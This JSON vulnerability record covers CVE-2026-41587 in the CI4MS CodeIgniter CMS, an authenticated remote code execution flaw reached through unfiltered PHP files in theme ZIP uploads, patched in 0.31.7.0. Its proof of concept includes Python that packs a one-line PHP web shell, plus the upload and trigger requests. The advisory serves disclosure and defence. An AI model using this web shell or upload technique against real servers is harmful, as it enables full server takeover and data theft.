{"id":"CVE-2026-41587","aliases":["CVE-2026-41587","GHSA-fw49-9xq4-gmx6"],"related":[],"kind":"vulnerability","state":"published","title":"CI4MS: Unrestricted PHP File Upload via Theme Installation Leads to Authenticated Remote Code Execution","summary":"CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. From version 0.26.0.0 to before version 0.31.7.0, a theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP. This issue has been patched in version 0.31.7.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. From version 0.26.0.0 to before version 0.31.7.0, a theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP. This issue has been patched in version 0.31.7.0.","source":"cvelist"},{"lang":"en","text":"### Summary\nA theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP.\n\n\n### Details\nFile: `modules/Theme/Controllers/Theme.php`\n\nAfter a ZIP is uploaded and extracted to a temporary directory, install_theme_from_tmp() is called unconditionally: Theme.php:51-52\n\nFile: `modules/Theme/Helpers/themes_helper.php`\n\nThe helper copies every file matching *.* from `public/templates/<name>/` inside the ZIP directly into `public/templates/<name>/` on disk using rename(), with no file-extension allowlist, no MIME check, and no content inspection: `themes_helper.php:60-68`\n\nBecause the web root is `public/`, any `.php` file placed there is directly reachable over HTTP.\n\nPHP files are also installed — without filtering — into app/Controllers/templates/<name>/, app/Libraries/templates/<name>/, and other app/ subdirectories: `themes_helper.php:31-42`\n\nThe theme name is derived from the uploaded filename via `str_replace('_theme.zip', '', $file->getName())`, so uploading `evil_theme.zip` sets the theme name to evil and the install target to `public/templates/evil/`: `Theme.php:20`\n\n### PoC\nPrerequisites: A backend account with theme upload permission (e.g., backend/themes/upload).\n\nStep 1 — Build the malicious ZIP:\n```\nimport zipfile, io  \n  \nbuf = io.BytesIO()  \nwith zipfile.ZipFile(buf, 'w') as z:  \n    z.writestr('public/templates/evil/shell.php', '<?php system($_GET[\"c\"]); ?>')  \nbuf.seek(0)  \nwith open('evil_theme.zip', 'wb') as f:  \n    f.write(buf.read())\n```\nStep 2 — Upload:\n```\nPOST /backend/themes/upload  \nContent-Type: multipart/form-data  \n  \nfield name: theme  \nfile:       evil_theme.zip  \n```\nStep 3 — Execute:\n```\nGET https://target.com/templates/evil/shell.php?c=id  \n```\nExpected response: output of id (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).\n\n\n### Impact\nType: Authenticated Remote Code Execution (RCE) via arbitrary file write to the web root.\n\nWho is impacted: Any deployment where a backend user has been granted theme upload permission. A superadmin already has full access, but any lower-privileged role granted this permission can use it to write and execute arbitrary PHP on the server, gaining OS-level command execution under the web server process. This can be used for data exfiltration, lateral movement, persistence, or full server compromise.","format":"markdown","source":"ghsa"},{"lang":"es","text":"CI4MS es un esqueleto de CMS basado en CodeIgniter 4 que ofrece una arquitectura modular lista para producción con autorización RBAC y soporte de temas. Desde la versión 0.26.0.0 hasta antes de la versión 0.31.7.0, una característica de carga de temas permite a cualquier usuario de backend autenticado con permiso de carga de temas lograr ejecución remota de código (RCE) al cargar un archivo ZIP manipulado. Los archivos PHP dentro del ZIP se instalan en el directorio public/ accesible por la web sin extensión ni filtrado de contenido, haciéndolos directamente ejecutables vía HTTP. Este problema ha sido parcheado en la versión 0.31.7.0.","source":"nvd"}],"published":"2026-04-29T20:42:44.000Z","modified":"2026-10-26T19:10:00.163Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.6,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.6,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"}],"cwes":["CWE-434"],"affected":[{"ranges":[{"version":">= 0.26.0.0, < 0.31.7.0","status":"affected"}],"vendor":"ci4-cms-erp","product":"ci4ms","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0.26.0.0","status":"affected","fixed":"0.31.7.0"}],"ecosystem":"Packagist","package":"ci4-cms-erp/ci4ms","purl":"pkg:composer/ci4-cms-erp/ci4ms","source":"ghsa"}],"references":[{"url":"https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-fw49-9xq4-gmx6","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/ci4-cms-erp/ci4ms/commit/b969465e71eacd9eb57014ad1fce1fc34fa7bca0","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41587","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/ci4-cms-erp/ci4ms","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-05-07T13:43:14.925Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-41587","url":"https://www.cve.org/CVERecord?id=CVE-2026-41587","licence":"CVE Terms of Use","modified":"2026-05-07T13:43:20.471Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-fw49-9xq4-gmx6","url":"https://github.com/advisories/GHSA-fw49-9xq4-gmx6","licence":"CC-BY-4.0","modified":"2026-05-08T20:05:52.627Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-41587","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41587","licence":"Public domain","modified":"2026-10-26T19:10:00.163Z"}],"updatedAt":"2026-11-25T22:59:20.846Z","epss":{"score":0.00623,"percentile":0.51225,"date":"2026-12-01T12:00:22.000Z"}}